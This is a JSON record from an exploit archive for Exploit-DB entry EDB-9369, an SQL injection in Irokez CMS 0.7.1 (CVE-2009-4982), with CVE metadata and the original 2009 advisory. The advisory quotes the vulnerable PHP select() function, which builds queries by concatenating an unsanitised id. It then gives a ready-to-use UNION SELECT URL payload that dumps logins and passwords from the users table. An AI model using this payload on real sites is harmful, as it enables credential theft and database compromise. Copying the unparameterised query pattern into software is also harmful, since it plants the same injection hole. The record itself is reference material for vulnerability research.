{"exploit":{"id":"EDB-9369","name":"Irokez CMS 0.7.1 - SQL Injection (SQLi)","description":"Irokez CMS 0.7.1 - SQL Injection (SQLi)","cves":["CVE-2009-4982"],"author":"Ins3t","published":"2009-08-05","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/9369","path":"exploits/php/webapps/9369.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-9369.txt","vulnerabilities":[{"id":"CVE-2009-4982","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in the select function in Irokez CMS 0.7.1, when magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary SQL commands via the PATH_INFO to the default URI.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2009-4982","cvss":{"version":"2.0","baseScore":6.8,"severity":"medium","vectorString":"AV:N/AC:M/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2009-4982"},"updatedAt":"2024-08-07T07:24:53.639Z","retrievedAt":"2026-11-26T18:08:09.593Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-9369.png?v=2","url":"https://exploitbin.com/exploits/EDB-9369","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-9369/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-9369/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"[+]--------------------------------------------------------------------------------------------------------------------[+]\n[+]--------------------------------------------[Irokez 0.7.1 SQL inlection]--------------------------------------------[+]\n[+]--------------------------------------------------------------------------------------------------------------------[+]\n\n-[INFO]----------------------------------------------------------------------------------------------------------------[+]\n[+] Title:Irokez 0.7.1 SQL inlection\n[+] Autor: Ins3t\n[+] Site: www.arthacking.net\n[+] Date:04.08.2009\n[+]--------------------------------------------------------------------------------------------------------------------[+]\n\n-[BUG INFO]------------------------------------------------------------------------------------------------------------[+]\n[+] The vulnerability is caused by insufficient processing of select() function, which led to the SQL inj.\n[+] Conditions: magic_quotes_gpc = Off\n[+] Code vulnerable functions:\n\n[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]\n  function select($id)\n  {\n  if (isset($this->_cache[$id])) {\n  $data = $this->_cache[$id];\n  } else {\n  $data = array();\n  /*\n  get data\n  */\n  $is_trans = in_array($this->_name.$this->_trans, $this->db->getTables());\n  if ($is_trans) {\n  $query = \"select t.*, m.* from {$this->_name} m\"\n  . \" left join {$this->_name}{$this->_trans} t on (t.{$this->_item} = m.id)\"\n  . \" where m.id = '$id' group by {$this->_lang}\";\n  } else {\n  $query = \"select * from {$this->_name} where id = '$id'\";\n  }\n  $result = $this->db->exeQuery($query);\n\n  $main_fields = $this->db->getFields($this->_name);\n  if ($is_trans) {\n  $trans_fields = $this->db->getFields($this->_name . $this->_trans);\n  $trans_fields = array_flip($trans_fields);\n  } else {\n  $trans_fields = array();\n  }\n  unset($trans_fields[$this->_item], $trans_fields[$this->_lang]);\n  $trans_fields = array_flip($trans_fields);\n\n  $data = array();\n  while ($row = mysql_fetch_assoc($result)) {\n  foreach ($row as $field => $value) {\n  if (in_array($field, $main_fields)) {\n  $data[$field] = $value;\n  } elseif (in_array($field, $trans_fields)) {\n  $data[$field][$row[$this->_lang]] = $value;\n  }\n  }\n  }\n  if (isset($data['id'])) {\n  $this->_cache[$data['id']] = $data;\n  }\n  }\n  return $data;\n  }\n[+]------------------------------------------------[/CODE]-------------------------------------------------------------[+]\n\n[+] Exploit:\n\n[+]-------------------------------------------------[CODE]--------------------------------------------------------------[+]\n\nhttp://localhost/cms/ru/news/7'+union+select+1,2,concat_ws(0x3a,login,pass),4,5,6,7,8,9,10,11,12+from+icm_users--+/?page=1\n\n[+]------------------------------------------------[/CODE]-------------------------------------------------------------[+]\n\n# milw0rm.com [2009-08-05]","sha256":"4f7348b7dbda6b7e2b81c6f07ce169eba9a53b81e6dab081647579eff2c3b629","bytes":2928,"fetchedAt":"2026-11-26T18:08:03.378Z","encoding":"utf-8 (display only; download retains original bytes)"}